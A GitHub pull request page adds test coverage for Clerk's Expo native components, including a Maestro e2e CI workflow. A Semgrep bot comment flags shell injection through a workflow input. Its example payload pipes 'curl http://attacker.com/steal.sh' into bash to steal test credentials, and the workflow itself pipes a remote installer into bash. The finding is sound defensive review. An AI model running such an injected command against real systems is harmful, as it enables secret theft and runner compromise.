Skip to content

test(expo): comprehensive test coverage for native components#8334

Draft
chriscanin wants to merge 5 commits intomainfrom
chris/native-component-tests
Draft

test(expo): comprehensive test coverage for native components#8334
chriscanin wants to merge 5 commits intomainfrom
chris/native-component-tests

Conversation

@chriscanin
Copy link
Copy Markdown
Member

Description

Adds comprehensive test coverage for @clerk/expo native components across three layers, each targeting a specific class of regression.

Backstory: the recent SSO/profile/theming work (chris/fix-inline-authview-sso) shipped four user-visible bugs and fixes (iOS forgot-password OAuth, Android Get Help loop, cold-launch white flash, native theming reset). Zero automated tests existed to catch any of them. This PR establishes the infrastructure.

What's in the PR

JS unit tests (packages/expo/src/**/__tests__/) — 20 new files, 216 tests. Full coverage of every previously untested module: hooks (useUserProfileModal, useNativeAuthEvents, useNativeSession), native component wrappers (AuthView, InlineAuthView, UserButton, UserProfileView, InlineUserProfileView), provider (ClerkProvider init flow, NativeSessionSync, native-to-JS auth sync), utilities, caches, and the Expo config plugin.

Android (Kotlin) unit tests (packages/expo/android/src/test/) — 3 files, 8 tests. Covers session-ID change detection logic, per-view ViewModelStore isolation, and sign-out cleanup behavior. Targets the logic fixed in the Android regression commits.

iOS (Swift) unit tests (packages/expo/ios/Tests/) — 2 files, 13 tests. Covers the viewDidDisappear session-ID comparison (the cancel-vs-success decision), the presentWhenReady guard predicate (attempts cap + invalidation), and the emitAuthStateChange payload shape.

Maestro e2e flows (integration-mobile/flows/) — 23 YAML files targeting the clerk-expo-quickstart NativeComponentQuickstart app. Includes 5 regression flows:

  • flows/sign-in/google-sso-from-forgot-password.yaml — iOS OAuth from forgot-password
  • flows/sign-in/get-help-loop-regression.yaml — Android AuthView navigation loop
  • flows/cycles/sign-in-sign-out-sign-in.yaml — inline AuthView re-sign-in
  • flows/theming/custom-theme-applied.yaml — native theming reset
  • flows/smoke/cold-launch-no-flash.yaml — cold-launch white flash

Plus 11 happy-path flows and 6 reusable subflows.

CI workflow (.github/workflows/mobile-e2e.yml) — manual workflow_dispatch trigger. Clones clerk-expo-quickstart at a configurable ref, builds on macos-15 (iOS) and ubuntu-latest with reactivecircus/android-emulator-runner (Android), runs all non-manual Maestro flows. Required secrets: CLERK_TEST_PK, CLERK_TEST_EMAIL, CLERK_TEST_PASSWORD.

Source changes (non-breaking)

  • packages/expo/app.plugin.js: named exports for withClerkIOS, withClerkAndroid, withClerkAppleSignIn, withClerkGoogleSignIn, withClerkKeychainService (additive, default export unchanged)
  • packages/expo/src/provider/ClerkProvider.tsx: NativeSessionSync marked as exported for test access (internal, documented as not public API)
  • packages/expo/android/build.gradle: JUnit/Robolectric/MockK test dependencies + testOptions for Robolectric
  • packages/expo/ios/ClerkExpo.podspec: test_spec 'Tests' block so Cocoapods generates the test target

How to test

JS unit tests run in existing CI:

cd packages/expo && pnpm test
# 24 files, 216 tests passing

Native unit tests:

# Android
cd packages/expo/android && ./gradlew :clerk_expo:test

# iOS (after pod install in a consuming app)
xcodebuild test -workspace <path>/ios/Pods/Pods.xcworkspace -scheme ClerkExpo-Unit-Tests

Maestro flows:

# Local (requires clerk-expo-quickstart cloned as sibling + Maestro CLI installed)
cd integration-mobile
cp config/.env.example config/.env  # fill in values
./scripts/run-android.sh   # or run-ios.sh, or run-all.sh

CI: trigger the Mobile e2e (@clerk/expo) workflow manually from the Actions tab.

Checklist

  • pnpm test runs as expected (216 tests passing).
  • pnpm build runs as expected.
  • (If applicable) JSDoc comments have been added or updated for any package exports
  • (If applicable) Documentation has been updated

Type of change

  • 📖 Refactoring / dependency upgrade / documentation (testing infrastructure only, no runtime behavior changes)

Add 216 JS unit tests across 20 new test files covering every untested
module in @clerk/expo: hooks (useUserProfileModal, useNativeAuthEvents,
useNativeSession), native components (AuthView, InlineAuthView,
UserProfileView, InlineUserProfileView, UserButton), provider
(ClerkProvider init flow, NativeSessionSync, native-to-JS auth sync),
utilities (runtime, errors, native-module), caches (token-cache,
resource-cache), and the Expo config plugin (withClerkAndroid,
withClerkExpo, withClerkIOS).

Add 8 Kotlin unit tests for the Android native bridge code covering
session ID change detection logic, per-view ViewModelStore isolation,
and sign-out cleanup behavior.

Add 23 Maestro e2e flow files targeting the clerk-expo-quickstart
NativeComponentQuickstart app, including 5 regression flows for bugs
shipped in chris/fix-inline-authview-sso (forgot-password OAuth,
Get Help loop, re-sign-in cycle, theming reset, cold-launch flash).

Add manual-trigger GitHub Actions workflow for running Maestro flows
on both iOS simulator and Android emulator.

Source changes (non-breaking):
- packages/expo/app.plugin.js: export sub-plugins for unit testing
- packages/expo/src/provider/ClerkProvider.tsx: export NativeSessionSync
- packages/expo/android/build.gradle: add JUnit/Robolectric test deps
@vercel
Copy link
Copy Markdown

vercel bot commented Apr 16, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
clerk-js-sandbox Ready Ready Preview, Comment Apr 16, 2026 9:47pm

Request Review

@changeset-bot
Copy link
Copy Markdown

changeset-bot bot commented Apr 16, 2026

🦋 Changeset detected

Latest commit: 6250faf

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 1 package
Name Type
@clerk/expo Patch

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

Comment on lines +24 to +92
name: Android
runs-on: ubuntu-latest
timeout-minutes: 45
defaults:
run:
working-directory: .
steps:
- name: Checkout @clerk/javascript
uses: actions/checkout@v4

- name: Checkout clerk-expo-quickstart
uses: actions/checkout@v4
with:
repository: clerk/clerk-expo-quickstart
ref: ${{ inputs.quickstart_ref }}
path: clerk-expo-quickstart

- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: pnpm

- name: Install monorepo deps
run: pnpm install --frozen-lockfile

- name: Build @clerk/expo
run: pnpm turbo build --filter=@clerk/expo...

- name: Install quickstart deps
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: pnpm install

- name: Set up JDK 17
uses: actions/setup-java@v4
with:
distribution: temurin
java-version: 17

- name: Install Maestro
run: |
curl -Ls "https://get.maestro.mobile.dev" | bash
echo "$HOME/.maestro/bin" >> "$GITHUB_PATH"

- name: Run Android e2e
uses: reactivecircus/android-emulator-runner@v2
env:
CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
with:
api-level: 34
target: google_apis
arch: x86_64
script: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:android --variant release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
maestro test --exclude-tags "${{ inputs.exclude_tags }}" flows/

- name: Upload Maestro artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: maestro-android
path: ~/.maestro/tests

ios:
Comment on lines +93 to +151
name: iOS
runs-on: macos-15
timeout-minutes: 60
steps:
- name: Checkout @clerk/javascript
uses: actions/checkout@v4

- name: Checkout clerk-expo-quickstart
uses: actions/checkout@v4
with:
repository: clerk/clerk-expo-quickstart
ref: ${{ inputs.quickstart_ref }}
path: clerk-expo-quickstart

- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: pnpm

- name: Install monorepo deps
run: pnpm install --frozen-lockfile

- name: Build @clerk/expo
run: pnpm turbo build --filter=@clerk/expo...

- name: Install quickstart deps
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: pnpm install

- name: Cache SPM
uses: actions/cache@v4
with:
path: ~/Library/Developer/Xcode/DerivedData
key: spm-${{ hashFiles('packages/expo/package.json') }}

- name: Install Maestro
run: |
curl -Ls "https://get.maestro.mobile.dev" | bash
echo "$HOME/.maestro/bin" >> "$GITHUB_PATH"

- name: Build and run iOS e2e
env:
CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly" flows/

- name: Upload Maestro artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: maestro-ios
path: ~/.maestro/tests
Comment on lines +138 to +145
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly" flows/

Copy link
Copy Markdown

@semgrep-code-clerk semgrep-code-clerk bot Apr 16, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

Fixed in commit fe9e3fe

chriscanin added a commit to clerk/clerk-android that referenced this pull request Apr 16, 2026
Introduces an `expo-compat` job in the manual-release workflow that
runs before `publish`. The job:

1. Publishes the current SDK source to mavenLocal with a snapshot suffix
2. Clones clerk/javascript and clerk/clerk-expo-quickstart
3. Patches @clerk/expo's pinned clerk-android version to the snapshot
4. Adds mavenLocal() to the gradle repositories so resolution works
5. Builds the quickstart NativeComponentQuickstart against the snapshot
6. Runs the Maestro e2e suite from clerk/javascript's integration-mobile/

The `publish` job now depends on `expo-compat` succeeding, so a
release cannot publish if the Expo integration tests fail.

Secrets required (to be configured on this repo):
- CLERK_TEST_EMAIL
- CLERK_TEST_PASSWORD
- EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY

Related: clerk/javascript#8334 (adds the
integration-mobile/ test suite this workflow invokes)
chriscanin added a commit to clerk/clerk-ios that referenced this pull request Apr 16, 2026
Introduces an `expo-compat` job in release-sdk.yml that runs between
`checks` and `publish`. The job validates that the clerk-ios SHA about
to be published does not break @clerk/expo's native component integration.

The job:

1. Clones clerk/javascript and clerk/clerk-expo-quickstart
2. Patches packages/expo/app.plugin.js to pin the SPM clerk-ios dependency
   to the current release SHA using requirement kind 'revision' instead
   of 'exactVersion'
3. Builds the NativeComponentQuickstart app via `expo run:ios --configuration Release`
4. Runs the Maestro e2e suite from integration-mobile/ on an iOS simulator
5. If any Maestro flow fails, the `publish` job is blocked

Because the clerk-ios dependency is resolved via SPM, no local publish
step is needed — SPM clones the clerk-ios repo at the specified SHA
during the quickstart's Xcode build.

Secrets required:
- CLERK_TEST_EMAIL
- CLERK_TEST_PASSWORD
- EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY

Related:
- clerk/javascript#8334 — adds the integration-mobile/ test suite
- clerk/clerk-android#593 — Android equivalent of this gate
Local iOS validation surfaced several issues in the Maestro flow files
and runner scripts. This commit has all the fixes needed to get the
core happy-path and regression flows passing end-to-end against the
clerk-expo-quickstart NativeComponentQuickstart app on an iPhone 17
simulator (iOS 26).

Validated passing flows:
- flows/sign-in/email-password.yaml (34s)
- flows/cycles/sign-in-sign-out-sign-in.yaml (53s) -- THE REGRESSION
- flows/smoke/cold-launch-no-flash.yaml (7s)

Remaining flows need follow-up iteration to handle iOS-specific
UserProfile UI copy (e.g. Edit profile, Log out button text) and
the secondary test user env vars for different-user cycles.

Fixes in this commit:

1. Scripts portability -- macOS ships bash 3.2 which lacks mapfile.
   Replace with while-read loop.

2. Maestro subdirectory recursion -- `maestro test flows/` does not
   walk subdirectories. Use `find` + explicit file list.

3. Platform disambiguation -- with both iOS sim and Android emu booted,
   Maestro auto-picked the wrong driver. Pass `--platform ios|android`.

4. Env var interpolation -- Maestro does not auto-read shell env. Pass
   CLERK_TEST_EMAIL/PASSWORD via explicit `-e KEY=value` flags.

5. Regex patterns -- Maestro's `text:` and `visible:` use full-string
   regex match. Use `.*term.*` for substring, `\.?` for optional
   trailing punctuation, single quotes in YAML to avoid escape issues.

6. Dev launcher URL differs -- iOS uses http://localhost:8081, Android
   uses http://10.0.2.2:8081. Match with `.*:8081` regex.

7. Dev menu dismissal -- tap Close accessibility ID with backdrop
   fallback at 50%,20%.

8. Session persistence across clearState -- Clerk's token in iOS
   Keychain (AFTER_FIRST_UNLOCK) survives app reinstall. Add a
   conditional sign-out step to open-app.yaml.

9. inputText appends, not replaces -- add `eraseText: 50` before every
   inputText in sign-in-email-password.yaml.

10. iOS trailing period differs -- clerk-ios renders "Welcome! Sign in
    to continue" (no period), clerk-android renders with period. Use
    `\.?` regex to match both.

Also adds integration-mobile/.gitignore to prevent config/.env from
being committed (it contains a Clerk publishable key for the
delicate-crab-73 dev instance).
Comment on lines +140 to +149
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Workflow input exclude_tags is directly interpolated into a shell command, allowing command injection attacks that could steal secrets and compromise the runner.

More details about this

The run: step directly interpolates the ${{ inputs.exclude_tags }} variable into a shell command. The inputs.exclude_tags value comes from workflow inputs, which can be controlled by an attacker triggering a workflow.

Here's how an attacker could exploit this:

  1. An attacker triggers this workflow with a malicious value for the exclude_tags input, for example: androidOnly"; curl http://attacker.com/steal.sh | bash; echo "
  2. The ${{ inputs.exclude_tags }} gets substituted into the command:
    maestro test --exclude-tags "androidOnly"; curl http://attacker.com/steal.sh | bash; echo ",androidOnly"
    
  3. The shell parses this as three separate commands: the legitimate maestro test command, then a curl that downloads and executes a malicious script from the attacker's server
  4. The injected script runs with full access to the runner environment, allowing the attacker to steal the CLERK_TEST_EMAIL and CLERK_TEST_PASSWORD secrets (visible via env: in the workflow), exfiltrate source code, or modify the repository

The vulnerability exists because untrusted user input from workflow inputs is directly embedded into a shell command without any sanitization or quoting protection.

To resolve this comment:

✨ Commit Assistant fix suggestion

Suggested change
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"
env:
CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
EXCLUDE_TAGS: ${{ inputs.exclude_tags }} # Place user input in an environment variable to prevent command injection
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "$EXCLUDE_TAGS,androidOnly"
View step-by-step instructions
  1. Move the usage of ${{ inputs.exclude_tags }} out of the script and into an environment variable in the same step by adding EXCLUDE_TAGS: ${{ inputs.exclude_tags }} under env:.
  2. In the run: script, replace "${{ inputs.exclude_tags }},androidOnly" with "$EXCLUDE_TAGS,androidOnly". Make sure to use double quotes around the environment variable to prevent word splitting or globbing.

The updated lines in your step will look like:

env:
  CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
  CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
  EXCLUDE_TAGS: ${{ inputs.exclude_tags }}
...
xargs -0 maestro test --exclude-tags "$EXCLUDE_TAGS,androidOnly"

By using an environment variable this way, you ensure untrusted user input isn't directly interpolated into your shell script, reducing the risk of command injection.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

You can view more details about this finding in the Semgrep AppSec Platform.

iOS UserProfile uses different copy than Android:
- "Edit profile" (Android) -> "Update profile" (iOS)
- "Log out" (Android) -> "Sign out" (iOS)
- The Close (X) button matches on accessibilityText "Close", not id

Use cross-platform regex alternation ("(Edit|Update) profile",
"Log out|Sign out") and switch from `id: "Close"` to `text: "Close"`
since Maestro's id matches resource-id (SF Symbol name "xmark" on iOS).

Also switch sheet-dismiss from `- back` (iOS has no back button) to
tap the Close X with back fallback for Android.

Mark 3 flows as `skip` until prerequisites are in place:
- sign-out-then-sign-in-different-user: needs CLERK_TEST_EMAIL_SECONDARY
  and a second test user in the dev instance
- email-verification: sign-up selector flow still needs iOS-specific
  verification steps
- custom-theme-applied: check-theme-color.js needs pngjs, and iOS
  quickstart doesn't bundle clerk-theme.json yet

Passing flows on iPhone 17 simulator:
- email-password
- sign-in-sign-out-sign-in (THE REGRESSION)
- cold-launch-no-flash
- open-profile-modal
- sign-out-from-profile
- edit-first-name
cold-launch-no-flash inlines its own launcher logic (doesn't use
open-app.yaml) so it was missing the conditional sign-out step added
to open-app.yaml. When the previous flow left the user signed in, the
cold-launch assertion "Welcome! Sign in to continue" failed because
the app launched to the signed-in home screen.

Also update the dev menu dismissal to use the same Close-X-first,
backdrop-fallback pattern as open-app.yaml.

Result: 6/6 non-skipped iOS Maestro flows passing in 4m 14s on
iPhone 17 simulator (iOS 26) against delicate-crab-73 dev instance:
- email-password
- sign-in-sign-out-sign-in (the shipped regression)
- cold-launch-no-flash
- open-profile-modal
- sign-out-from-profile
- edit-first-name
Add Google Password Manager auto-dismissal to open-app.yaml and
sign-in-email-password.yaml. After sign-in, Android shows a "Save
password?" sheet from Google Password Manager. The sheet button text
varies between "Not now" (first prompt) and "Never" (after declining
once), so use regex alternation.

Skip dark-mode-applied -- same pngjs dependency issue as
custom-theme-applied; both need the theme-color helper script
prerequisites before they can run.

Result: 7/7 non-skipped Android Maestro flows passing against
Pixel 9 Pro emulator (API 34) and delicate-crab-73 dev instance:
- email-password (57s)
- sign-in-sign-out-sign-in (1m 28s) -- the shipped regression
- cold-launch-no-flash (24s)
- get-help-loop-regression (1m 10s) -- the shipped Android regression
- open-profile-modal (1m 9s)
- sign-out-from-profile (1m 4s)
- edit-first-name (1m 16s)

Combined with iOS (6/6 passing), the Maestro suite now catches the
full user journey end-to-end on both platforms.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants